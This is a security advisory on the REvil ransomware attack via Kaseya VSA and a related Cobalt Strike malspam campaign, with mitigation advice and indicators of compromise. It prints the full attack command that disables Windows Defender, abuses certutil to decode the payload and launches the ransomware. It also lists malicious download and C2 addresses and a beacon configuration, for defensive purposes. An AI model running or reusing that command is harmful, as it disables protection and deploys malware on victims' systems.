REvil/Kaseya Incident Update

Update: July 14, 2021

Following this high-profile incident involving the infamous ransomware group known as REvil (Sodinokibi), reports indicate that the group have gone ‘dark’ and, in addition to not posting on cybercriminal forums, their Tor onion sites appear to be offline.

Although it is not clear if this is the result of some law enforcement action, the situation is somewhat reminiscent of the Colonial Pipeline aftermath in which the ransomware group Darkside appeared to shutdown operations in a likely attempt to avoid some of the ‘heat’ and attention that their attack had garnered.

Assuming the group haven’t been nabbed by law enforcement, other explanations suggest that the group are ‘doing a Darkside’ and laying low for a while to avoid additional scrutiny, potentially allowing the threat actors to gather their thoughts and resurface as some ‘new and improved’ threat.

Alternatively, some suggest that the group may have been persuaded by the Russian Government to calm things down, especially given the political situation between Russia and the US in the wake of recent massive cyberattacks.

Regardless of the reasons, the high financial gains attached to attacks of this nature will no doubt entice some other threat actor to fill the void leading to the threat of ransomware remaining much the same as before.

Reiterating our previous advice, organizations are strongly advised to have mitigations and disaster recovery plans in place prior to falling victim and the payment of ransoms should be avoided so as not to fuel this type of malicious activity.

Introduction

Following the July 3, 2021 news of a ransomware attack targeting Kaseya, a US-based software developer that supplies managed service providers (MSP), more information about the incident, including additional indicators of compromise (IOC) have now been shared.

Reportedly the “biggest ransomware attack on record” according to some, initial reports suggested that Kaseya themselves were compromised and their network management software, VSA, was compromised to deploy a ransomware threat to their customers.

Subsequent reports clarify this situation and it is now understood that REvil, the big game hunter ransomware group responsible, exploited multiple zero-day (0day) vulnerabilities in on-premise Kaseya VSA installations to bypass authentication controls and run arbitrary commands.

Although Kaseya suggest that this incident was “not a supply chain attack”, the targeting of software used by MSPs led to the compromise of multiple managed service clients and may therefore still be classified as a supply chain attack by many.

Unlike typical REvil attacks in which they utilize the double extortion tactic, the group did not appear to steal any data during their intrusion and instead asked for an incredulous ransom of USD 70 million or a reported USD 45,000 per victim.

As detailed on their ‘Happy Blog’ (Figure 1), a Tor onion site typically used to name and shame their extortion victims, the group claim to have ‘infected’ more than a million systems and will, upon payment, provide a universal decryption tool for all.

Figure 1 – REvil ‘Happy Blog’ on Tor

In an attempt to capitalize on this widely covered incident, another threat actor appears to have launched a malicious email (malspam) campaign that includes email lures claiming to provide a fix for the Kaseya vulnerability but instead deliver a malicious link and attachment.

Notably, this campaign does not appear to be linked to REvil and is likely indiscriminate in nature rather than targeting those specifically using Kaseya VSA.

Incident Update

Having bypassed Kaseya VSA’s authentication, a SQL injection (SQLi) vulnerability, identified as CVE-2021-30116, is believed to have been exploited and would have allowed commands within the compromised VSA system to be executed.

Having command over the VSA installation allowed REvil to abuse the patch management feature and, having packaged their ransomware payload as a rogue update, deliver and execute it on all managed clients including those belonging to multiple customers of MSP organizations.

Whilst Kaseya shutdown their software-as-a-service (SaaS) platform, and reported no SaaS victims, a reported forty to sixty compromised organizations were targeted via their on-premise VSA installations that, in the case of those belonging to MSPs, impacted some 1,500 downstream businesses.

Notably, it is understood that the Dutch Institute for Vulnerability Disclosure (DVID) had responsibly disclosed a number of 0day vulnerabilities to Kaseya prior to this incident and, whilst these were in the process of being addressed by Kaseya, REvil effectively ‘beat them to the punch’ and launched their attack.

Contributing to the effectiveness of this attack, Kaseya are understood to have advised customers that the directory used by VSA on client machines, c:kworking, should be excluded from antivirus scans to resolve ‘compatibility issues’. As such, even if an end-point security solution had the ability to detect the ransomware binary, the malicious payload would have been allowed to execute without restriction in this working directory.

In a break from their typical behaviour, REvil did not attempt to steal data during this incident, likely due to the number of infected machines, and it was noted that they did not attempt to delete volume shadow copies, a common tactic used to prevent data restoration. In the latter case, it is likely that the deletion step was omitted to avoid detection by end-point security solutions, especially given that the ransomware process was running from a trusted location.

Patch

Kaseya have remained thorough in their approach to investigating and resolving this issue for their customers and, on the afternoon (EDT) of July 7, are set to publish a list of changes for their customers to implement on their on-premise installations in preparation for a patch expected to be released by 1700hrs EDT.

Additionally, Kaseya have made detection tools available [1] for their customers that will scan for signs of compromise on both the VSA server as well as end-points.

Malspam Campaign

Capitalizing on the news coverage of this incident, an additional threat actor has been targeting organizations with a topical malicious unsolicited email (malspam) campaign. Likely an indiscriminate campaign rather than one specifically targeting those using Kaseya VSA, the lure email claims to provide an update from Microsoft to ‘protect against ransomware’ and ‘fixing a vulnerability in Kaseya’ (Figure 2).

Figure 2 – Example Kaseya/Ransomware Malspam lure email

In addition to unusually attaching an executable, and therefore increasing the chance of the email being quarantined by email security solutions, the HTML message body hides a malicious URL behind the Kaseya link that leads a would-be victim to a server hosting the same executable as attached.

Analysis of this executable identifies it as being Cobalt Strike, the legitimate commercial tool, as commonly abused by threat actors to maintain remote access, exfiltrate data and/or deliver additional payloads.

Recommendations

• Organizations using Kaseya VSA on-premise are advised to follow the advice from Kaseya [2] and install the update, obtained directly from them, as soon as released.

Additionally, organizations should consider the following recommendations to limit the impact of similar ransomware attacks:

• Consider monitoring for, and alerting on, the anomalous modification of security settings or configurations, such as those observed with Windows Defender.
• Continuously monitor endpoint security events as an early warning of suspicious behaviour, for example, host-to-host communications indicating lateral movement or high-volume disk operations indicating mass file encryption or exfiltration.
• Limit user permissions according to the principal of least privilege (POLP).
• Secure sensitive data, adhering to any legal or regulatory requirements, to prevent unauthorized access, be that internal or external in origin.
• Utilize application permit and deny lists to prevent the execution of unauthorized or unknown executables, such as those delivered as part of a broader attack.
• Ensure that disaster recovery plans and backup policies take into account regular backups, verification of data integrity and offline storage to facilitate restoration in the event of a catastrophic incident.
• Make use of network segregation to limit communications between nodes, especially end-points, to provide damage limitation and limit the propagation of threats.
• Disable administrative tools and script interpreters to prevent misuse by malicious payloads or threat actors.

To counter the threat of malspam campaigns, organizations should also consider:

• Employee security awareness training to help them identify unsolicited emails and phishing campaigns, especially those with suspicious embedded links or file attachments.
• Ensure that email security controls are applied to limit the delivery of potentially malicious attachments or links to end-users, as well as implementing protocols and security controls such as DKIM, DMARC and SPF.

Indicators of Compromise

Kaseya VSA Incident

The following updated indicators of compromise (IOC) have been identified as associated with the REvil attacks against on-premise Kaseya VSA deployments:

IP Addresses

The following IP addresses, seemingly assigned to cloud services or VPS providers, were reportedly observed as accessing VSA servers prior to, and/or during, the incident:

• 18[.]223[.]199[.]234
• 35[.]226[.]94[.]113
• 161[.]35[.]239[.]148
• 162[.]253[.]124[.]162

Log Entries

The following IIS log entries demonstrate the attack sequence against Kaseya VSA servers:

• POST /dl.asp curl/7.69.1
• GET /done.asp curl/7.69.1
• POST /cgi-bin/KUpload.dll curl/7.69.1
• GET /done.asp curl/7.69.1
• POST /cgi-bin/KUpload.dll curl/7.69.1
• POST /userFilterTableRpt.asp curl/7.69.1

Command Execution

The rogue ‘Kaseya VSA Agent Hot-fix’ update executed the following command to disabled Windows Defender and launch, then delete, the ransomware payload:

"C:WINDOWSsystem32cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:WindowsSystem32WindowsPowerShellv1.0powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:WindowsSystem32certutil.exe C:Windowscert.exe & echo %RANDOM% >> C:Windowscert.exe & C:Windowscert.exe -decode c:kworkingagent.crt c:kworkingagent.exe & del /q /f c:kworkingagent.crt C:Windowscert.exe & c:kworkingagent.exe

Files (SHA256)

• Initial executable payload, c:kworkingagent.exe (Also potentially located in Kaseyawebpagesmanagedfilesvsaticketfilesagent.exe)
  • d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e
• Legitimate Windows Defender executable, %WINDIR%MsMpEng.exe
  • 33bc14d231a4afaa18f06513766d5f69d8b88f1e697cd127d24fb4b72ad44c7a
• REvil Ransomware DLL, %WINDIR%mpsvc.dll
  • 50416e50797cf88a48d086e718c003e2d10c3847b1a251669d6f10f8d3546e03
  • 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd

Registry Keys

The following registry key has also been observed as being created during the execution of the ransomware payload:

• HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeBlackLivesMatter

Malspam Campaign

The following IOC have been observed in the malspam campaign that utilized this incident as a lure.

URLs

Embedded within the email lure and potentially masquerading as a legitimate Kaseya link:

• hxxp://45[.]153[.]241[.]113/download/pload.exe
• hxxp://37[.]120[.]222[.]56/download/zlnch.exe

Cobalt Strike C2:

• hxxp://31[.]42[.]177[.]52/dpixel

Files (SHA256)

• 32fc03caa22bc3bbf778b04da675e528dd7125a61da6f9fc5e532230745bcd8c

Cobalt Strike Configuration

{
  "BeaconType": [
    "HTTP"
  ],
  "Port": 80,
  "SleepTime": 60000,
  "MaxGetSize": 1048576,
  "Jitter": 0,
  "C2Server": "31[.]42[.]177[.]52,/dpixel",
  "HttpPostUri": "/submit.php",
  "Malleable_C2_Instructions": [],
  "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==",
  "HttpGet_Verb": "GET",
  "HttpPost_Verb": "POST",
  "HttpPostChunk": 0,
  "Spawnto_x86": "%windir%\syswow64\rundll32.exe",
  "Spawnto_x64": "%windir%\sysnative\rundll32.exe",
  "CryptoScheme": 0,
  "Proxy_Behavior": "Use IE settings",
  "Watermark": 1359593325,
  "bStageCleanup": "False",
  "bCFGCaution": "False",
  "KillDate": 0,
  "bProcInject_StartRWX": "True",
  "bProcInject_UseRWX": "True",
  "bProcInject_MinAllocSize": 0,
  "ProcInject_PrependAppend_x86": "Empty",
  "ProcInject_PrependAppend_x64": "Empty",
  "ProcInject_Execute": [
    "CreateThread",
    "SetThreadContext",
    "CreateRemoteThread",
    "RtlCreateUserThread"
  ],
  "ProcInject_AllocationMethod": "VirtualAllocEx",
  "bUsesCookies": "True",
  "HostHeader": ""
}

References

[1] https://kaseya.app.box.com/s/p9b712dcwfsnhuq2jmx31ibsuef6xict

[2] https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689-Important-Notice-July-7th-2021